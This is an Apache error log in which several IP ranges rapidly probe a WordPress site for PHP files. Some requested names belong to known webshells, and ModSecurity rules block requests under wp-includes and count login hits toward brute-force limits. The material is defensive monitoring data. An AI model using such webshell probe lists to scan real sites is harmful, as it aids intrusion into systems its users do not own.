[Mon Nov 24 14:50:57.395237 2025] [:error] [pid 16593:tid 16605] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/qfunctions.php
[Mon Nov 24 14:50:58.080266 2025] [:error] [pid 16593:tid 16615] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/qinfofuns.php
[Mon Nov 24 14:50:58.775986 2025] [:error] [pid 16593:tid 16611] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/thoms.php
[Mon Nov 24 14:50:59.475396 2025] [:error] [pid 16593:tid 16602] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/postnews.php
[Mon Nov 24 14:51:00.202003 2025] [:error] [pid 16593:tid 16614] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/admin-ajax.php
[Mon Nov 24 14:51:00.883975 2025] [:error] [pid 16593:tid 16597] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/link.php
[Mon Nov 24 14:51:01.672012 2025] [:error] [pid 16593:tid 16605] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-themes.php
[Mon Nov 24 14:51:02.704163 2025] [:error] [pid 16593:tid 16600] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/my-sites.php
[Mon Nov 24 14:51:03.324933 2025] [:error] [pid 16593:tid 16611] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/media.php
[Mon Nov 24 14:51:03.887621 2025] [:error] [pid 16593:tid 16616] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/nav-menus.php
[Mon Nov 24 14:51:04.488220 2025] [:error] [pid 16593:tid 16618] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/menu.php
[Mon Nov 24 14:51:05.241643 2025] [:error] [pid 16593:tid 16607] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/options-head.php
[Mon Nov 24 14:51:06.601593 2025] [:error] [pid 16593:tid 16609] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/revision.php
[Mon Nov 24 14:51:07.489011 2025] [:error] [pid 16593:tid 16613] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/widgets.php
[Mon Nov 24 14:51:08.188081 2025] [:error] [pid 16593:tid 16597] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/term.php
[Mon Nov 24 14:51:08.807176 2025] [:error] [pid 16593:tid 16599] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/system_log.php
[Mon Nov 24 14:51:09.502034 2025] [:error] [pid 16593:tid 16615] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/atomlib.php
[Mon Nov 24 14:51:10.194054 2025] [:error] [pid 16593:tid 16612] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/moded.php
[Mon Nov 24 14:51:10.875688 2025] [:error] [pid 16593:tid 16600] [client 181.215.65.65:28721] [client 181.215.65.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aSQAXhVGznHBJI2LKpQmZwAAAoU"]
[Mon Nov 24 14:51:12.263930 2025] [:error] [pid 16516:tid 16543] [client 181.215.65.79:39269] File does not exist: /usr/local/apache/htdocs/suspended-page/upgrade.php
[Mon Nov 24 14:51:12.870234 2025] [:error] [pid 16516:tid 16541] [client 181.215.65.79:39269] File does not exist: /usr/local/apache/htdocs/suspended-page/gh.php
[Mon Nov 24 14:51:13.575094 2025] [:error] [pid 16516:tid 16525] [client 181.215.65.79:39269] File does not exist: /usr/local/apache/htdocs/suspended-page/version.php
[Mon Nov 24 14:51:14.269098 2025] [:error] [pid 16516:tid 16536] [client 181.215.65.79:39269] File does not exist: /usr/local/apache/htdocs/suspended-page/head.php
[Mon Nov 24 14:51:14.974873 2025] [:error] [pid 16516:tid 16530] [client 181.215.65.79:39269] File does not exist: /usr/local/apache/htdocs/suspended-page/index1.php
[Mon Nov 24 14:51:15.672296 2025] [:error] [pid 16516:tid 16519] [client 181.215.65.79:39269] File does not exist: /usr/local/apache/htdocs/suspended-page/theme-insqbzk.php
[Mon Nov 24 14:51:16.323616 2025] [:error] [pid 16516:tid 16529] [client 181.215.65.79:39269] File does not exist: /usr/local/apache/htdocs/suspended-page/good.php
[Mon Nov 24 14:51:16.984168 2025] [:error] [pid 16516:tid 16528] [client 181.215.65.79:39269] File does not exist: /usr/local/apache/htdocs/suspended-page/main.php
[Mon Nov 24 14:51:18.306102 2025] [:error] [pid 16516:tid 16535] [client 181.215.65.79:39269] File does not exist: /usr/local/apache/htdocs/suspended-page/wsoyanz.php
[Mon Nov 24 14:51:18.990362 2025] [:error] [pid 16516:tid 16527] [client 181.215.65.79:39269] [client 181.215.65.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/fonts/css.php"] [unique_id "aSQAZvqZbniwaNwL8XnQMQAAAQg"]
[Mon Nov 24 14:51:22.601872 2025] [:error] [pid 16441:tid 16455] [client 104.234.32.2:30561] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa-rex.php
[Mon Nov 24 14:51:37.679480 2025] [:error] [pid 16441:tid 16466] [client 85.237.194.104:58107] [client 85.237.194.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/wso112233.php"] [unique_id "aSQAeYq_bc5MOa9HflkDIwAAAJY"]
[Mon Nov 24 14:51:39.063254 2025] [:error] [pid 16593:tid 16616] [client 181.215.65.75:29145] [client 181.215.65.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/shell20211028.php"] [unique_id "aSQAexVGznHBJI2LKpQmeAAAApU"]
[Mon Nov 24 14:51:41.675091 2025] [:error] [pid 16441:tid 16457] [client 104.234.32.1:59965] [client 104.234.32.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/dropdown.php"] [unique_id "aSQAfYq_bc5MOa9HflkDKQAAAI0"]
[Mon Nov 24 14:51:43.688250 2025] [:error] [pid 16549:tid 16566] [client 181.215.65.66:31311] [client 181.215.65.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/repeater.php"] [unique_id "aSQAf6eWW19A99PUw_ckNQAAAU4"]
[Mon Nov 24 14:51:46.987628 2025] [:error] [pid 9630:tid 9639] [client 85.237.194.38:22347] File does not exist: /usr/local/apache/htdocs/suspended-page/cache-compat.php
[Mon Nov 24 14:51:47.678320 2025] [:error] [pid 9630:tid 9636] [client 85.237.194.38:22347] File does not exist: /usr/local/apache/htdocs/suspended-page/ajax-actions.php
[Mon Nov 24 14:51:49.087466 2025] [:error] [pid 9630:tid 9648] [client 85.237.194.38:22347] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-consar.php
[Mon Nov 24 14:51:54.586653 2025] [:error] [pid 9630:tid 9653] [client 85.237.194.38:22347] [client 85.237.194.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/test.php"] [unique_id "aSQAiirSgUgPGkizt2rK-wAAAFU"]
[Mon Nov 24 14:51:57.372331 2025] [:error] [pid 49900:tid 49915] [client 181.215.65.75:39785] [client 181.215.65.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "aSQAjTCyPLrvg06aornucQAAAA0"]
[Mon Nov 24 14:51:59.920662 2025] [:error] [pid 9630:tid 9647] [client 85.237.194.87:60049] [client 85.237.194.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/options.php"] [unique_id "aSQAjyrSgUgPGkizt2rLDAAAAE8"]
[Mon Nov 24 14:52:03.703483 2025] [:error] [pid 48599:tid 48627] [client 85.237.194.52:40599] File does not exist: /usr/local/apache/htdocs/suspended-page/sx.php
[Mon Nov 24 14:52:04.904211 2025] [:error] [pid 48599:tid 48606] [client 85.237.194.52:40599] [client 85.237.194.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/gzdecode.php"] [unique_id "aSQAlJzvu6PDJiRKE3ILZQAAAYM"]
[Mon Nov 24 14:52:06.262944 2025] [:error] [pid 16441:tid 16465] [client 181.215.65.73:46023] [client 181.215.65.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/wp-includes/atomlib.php"] [unique_id "aSQAloq_bc5MOa9HflkDZQAAAJU"]
[Mon Nov 24 14:52:08.964364 2025] [:error] [pid 16441:tid 16450] [client 181.215.65.67:64967] [client 181.215.65.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 181.215.65.67, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/images/wp-login.php"] [unique_id "aSQAmIq_bc5MOa9HflkDbgAAAIY"]
[Mon Nov 24 14:52:09.589825 2025] [:error] [pid 16441:tid 16452] [client 181.215.65.67:64967] File does not exist: /usr/local/apache/htdocs/suspended-page/web.php
[Mon Nov 24 14:52:11.672111 2025] [:error] [pid 16441:tid 16451] [client 181.215.65.67:64967] [client 181.215.65.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/plupload/wp-login.php"] [unique_id "aSQAm4q_bc5MOa9HflkDdQAAAIc"]
[Mon Nov 24 14:52:12.992276 2025] [:error] [pid 16441:tid 16444] [client 181.215.65.79:33781] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-uploads-config.php
[Mon Nov 24 14:52:18.779661 2025] [:error] [pid 16441:tid 16467] [client 181.215.65.79:33781] [client 181.215.65.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/themes.php"] [unique_id "aSQAooq_bc5MOa9HflkDgQAAAJc"]
[Mon Nov 24 14:52:20.075472 2025] [:error] [pid 48599:tid 48605] [client 85.237.194.105:42247] [client 85.237.194.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/site-title/index.php"] [unique_id "aSQApJzvu6PDJiRKE3ILaQAAAYI"]
[Mon Nov 24 14:52:21.485901 2025] [:error] [pid 48601:tid 48678] [client 181.215.65.65:40145] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/autoload_classmap.php
[Mon Nov 24 14:52:22.171083 2025] [:error] [pid 48601:tid 48661] [client 181.215.65.65:40145] [client 181.215.65.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 181.215.65.65, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/includes/wp-login.php"] [unique_id "aSQApoMM4MaVTk74-AaWeAAAAgQ"]
[Mon Nov 24 14:52:22.886705 2025] [:error] [pid 48601:tid 48660] [client 181.215.65.65:40145] File does not exist: /usr/local/apache/htdocs/suspended-page/upload.php
[Mon Nov 24 14:52:23.594737 2025] [:error] [pid 48601:tid 48663] [client 181.215.65.65:40145] [client 181.215.65.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/wp-includes/admin-bar.php"] [unique_id "aSQAp4MM4MaVTk74-AaWegAAAgY"]
[Mon Nov 24 14:52:24.977515 2025] [:error] [pid 9630:tid 9634] [client 85.237.194.55:36855] File does not exist: /usr/local/apache/htdocs/suspended-page/indeex.php
[Mon Nov 24 14:52:25.776504 2025] [:error] [pid 9630:tid 9646] [client 85.237.194.55:36855] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Mon Nov 24 14:52:28.066839 2025] [:error] [pid 9630:tid 9649] [client 85.237.194.55:36855] [client 85.237.194.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/customize/plugins.php"] [unique_id "aSQArCrSgUgPGkizt2rLJAAAAFE"]
[Mon Nov 24 14:52:29.484874 2025] [:error] [pid 49900:tid 49912] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/bs.php
[Mon Nov 24 14:52:30.843255 2025] [:error] [pid 49900:tid 49920] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/credits.php
[Mon Nov 24 14:52:31.589544 2025] [:error] [pid 49900:tid 49913] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/edit-comments.php
[Mon Nov 24 14:52:32.279494 2025] [:error] [pid 49900:tid 49921] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/checkbox.php
[Mon Nov 24 14:52:32.998460 2025] [:error] [pid 49900:tid 49911] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/export.php
[Mon Nov 24 14:52:33.677165 2025] [:error] [pid 49900:tid 49910] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/input.php
[Mon Nov 24 14:52:34.379808 2025] [:error] [pid 49900:tid 49907] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/load-scripts.php
[Mon Nov 24 14:52:35.082410 2025] [:error] [pid 49900:tid 49922] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/load-styles.php
[Mon Nov 24 14:52:35.693230 2025] [:error] [pid 49900:tid 49903] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/options-discussion.php
[Mon Nov 24 14:52:36.385067 2025] [:error] [pid 49900:tid 49905] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/options-general.php
[Mon Nov 24 14:52:37.068184 2025] [:error] [pid 49900:tid 49906] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/options-permalink.php
[Mon Nov 24 14:52:37.685395 2025] [:error] [pid 49900:tid 49916] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/options-privacy.php
[Mon Nov 24 14:52:38.309012 2025] [:error] [pid 49900:tid 49915] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/options-reading.php
[Mon Nov 24 14:52:39.076120 2025] [:error] [pid 49900:tid 49910] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/options-writing.php
[Mon Nov 24 14:52:39.695130 2025] [:error] [pid 49900:tid 49922] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/post-new.php
[Mon Nov 24 14:52:40.471574 2025] [:error] [pid 49900:tid 49909] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/privacy.php
[Mon Nov 24 14:52:41.078457 2025] [:error] [pid 49900:tid 49926] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/profile.php
[Mon Nov 24 14:52:41.780287 2025] [:error] [pid 49900:tid 49913] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/site-health.php
[Mon Nov 24 14:52:42.477964 2025] [:error] [pid 49900:tid 49906] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/tools.php
[Mon Nov 24 14:52:43.179340 2025] [:error] [pid 49900:tid 49910] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/update-core.php
[Mon Nov 24 14:52:43.791099 2025] [:error] [pid 49900:tid 49911] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/user-edit.php
[Mon Nov 24 14:52:44.598704 2025] [:error] [pid 49900:tid 49907] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/user-new.php
[Mon Nov 24 14:52:45.287022 2025] [:error] [pid 49900:tid 49918] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-cron.php
[Mon Nov 24 14:52:45.990201 2025] [:error] [pid 49900:tid 49922] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/bar.php
[Mon Nov 24 14:52:46.670807 2025] [:error] [pid 49900:tid 49914] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/samll.php
[Mon Nov 24 14:52:47.368871 2025] [:error] [pid 49900:tid 49909] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/webdb.php
[Mon Nov 24 14:52:48.069380 2025] [:error] [pid 49900:tid 49905] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/100.php
[Mon Nov 24 14:52:48.691954 2025] [:error] [pid 49900:tid 49902] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin-install.php
[Mon Nov 24 14:52:49.387613 2025] [:error] [pid 49900:tid 49908] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/km.php
[Mon Nov 24 14:52:50.090814 2025] [:error] [pid 49900:tid 49926] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/LA.php
[Mon Nov 24 14:52:50.788494 2025] [:error] [pid 49900:tid 49912] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Mon Nov 24 14:52:51.487869 2025] [:error] [pid 49900:tid 49913] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-ldd.php
[Mon Nov 24 14:52:52.180831 2025] [:error] [pid 49900:tid 49923] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/sgd.php
[Mon Nov 24 14:52:52.895070 2025] [:error] [pid 49900:tid 49906] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/wzy.php
[Mon Nov 24 14:52:54.988106 2025] [:error] [pid 49900:tid 49921] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Mon Nov 24 14:52:56.375122 2025] [:error] [pid 49900:tid 49910] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Mon Nov 24 14:52:59.187197 2025] [:error] [pid 49900:tid 49922] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Mon Nov 24 14:52:59.904265 2025] [:error] [pid 49900:tid 49924] [client 85.237.194.60:21665] [client 85.237.194.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.237.194.60, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aSQAyzCyPLrvg06aornu5QAAABY"]
[Mon Nov 24 14:53:00.766407 2025] [:error] [pid 49900:tid 49925] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/Njima.php
[Mon Nov 24 14:53:02.810816 2025] [:error] [pid 49900:tid 49918] [client 85.237.194.60:21665] [client 85.237.194.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.237.194.60, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/.tmb/wp-login.php"] [unique_id "aSQAzjCyPLrvg06aornu-gAAABA"]
[Mon Nov 24 14:53:04.193312 2025] [:error] [pid 49900:tid 49909] [client 85.237.194.60:21665] File does not exist: /usr/local/apache/htdocs/suspended-page/FroggBaba.php
[Mon Nov 24 14:53:04.800824 2025] [:error] [pid 49900:tid 49917] [client 85.237.194.60:21665] [client 85.237.194.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/certificates/plugins.php"] [unique_id "aSQA0DCyPLrvg06aornu_wAAAA8"]
[Mon Nov 24 14:53:06.100215 2025] [:error] [pid 16441:tid 16467] [client 181.215.65.68:55155] [client 181.215.65.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/pomo/wp-login.php"] [unique_id "aSQA0oq_bc5MOa9HflkEYgAAAJc"]
[Mon Nov 24 14:53:07.466999 2025] [:error] [pid 16441:tid 16468] [client 181.215.65.79:60259] [client 181.215.65.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/install.php"] [unique_id "aSQA04q_bc5MOa9HflkEZwAAAJg"]
[Mon Nov 24 14:53:08.880872 2025] [:error] [pid 49900:tid 49905] [client 85.237.194.122:63679] File does not exist: /usr/local/apache/htdocs/suspended-page/sts.php
[Mon Nov 24 14:53:12.968970 2025] [:error] [pid 49900:tid 49910] [client 85.237.194.122:63679] File does not exist: /usr/local/apache/htdocs/suspended-page/st.php
[Mon Nov 24 14:53:13.594097 2025] [:error] [pid 49900:tid 49911] [client 85.237.194.122:63679] File does not exist: /usr/local/apache/htdocs/suspended-page/GA13.php
[Mon Nov 24 14:53:17.280279 2025] [:error] [pid 49900:tid 49908] [client 85.237.194.122:63679] [client 85.237.194.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.237.194.122, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/modules/karakaroa/wp-login.php"] [unique_id "aSQA3TCyPLrvg06aornvEQAAAAY"]
[Mon Nov 24 14:53:17.888997 2025] [:error] [pid 49900:tid 49925] [client 85.237.194.122:63679] [client 85.237.194.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSQA3TCyPLrvg06aornvEwAAABc"]
[Mon Nov 24 14:53:19.949472 2025] [:error] [pid 16441:tid 16447] [client 85.237.194.114:36603] File does not exist: /usr/local/apache/htdocs/suspended-page/crop.php
[Mon Nov 24 14:53:20.568864 2025] [:error] [pid 16441:tid 16460] [client 85.237.194.114:36603] [client 85.237.194.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.237.194.114, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aSQA4Iq_bc5MOa9HflkEmgAAAJA"]
[Mon Nov 24 14:53:21.975693 2025] [:error] [pid 16441:tid 16466] [client 85.237.194.114:36603] File does not exist: /usr/local/apache/htdocs/suspended-page/gali.php
[Mon Nov 24 14:53:24.268457 2025] [:error] [pid 16441:tid 16460] [client 85.237.194.114:36603] File does not exist: /usr/local/apache/htdocs/suspended-page/dir.php
[Mon Nov 24 14:53:24.994407 2025] [:error] [pid 16441:tid 16467] [client 85.237.194.114:36603] File does not exist: /usr/local/apache/htdocs/suspended-page/dirs.php
[Mon Nov 24 14:53:26.705164 2025] [:error] [pid 16441:tid 16457] [client 85.237.194.114:36603] File does not exist: /usr/local/apache/htdocs/suspended-page/abouts.php
[Mon Nov 24 14:53:27.486314 2025] [:error] [pid 16441:tid 16463] [client 85.237.194.114:36603] File does not exist: /usr/local/apache/htdocs/suspended-page/malls.php
[Mon Nov 24 14:53:28.270756 2025] [:error] [pid 16441:tid 16461] [client 85.237.194.114:36603] File does not exist: /usr/local/apache/htdocs/suspended-page/liefs.php
[Mon Nov 24 14:53:28.988736 2025] [:error] [pid 16441:tid 16449] [client 85.237.194.114:36603] File does not exist: /usr/local/apache/htdocs/suspended-page/uc.php
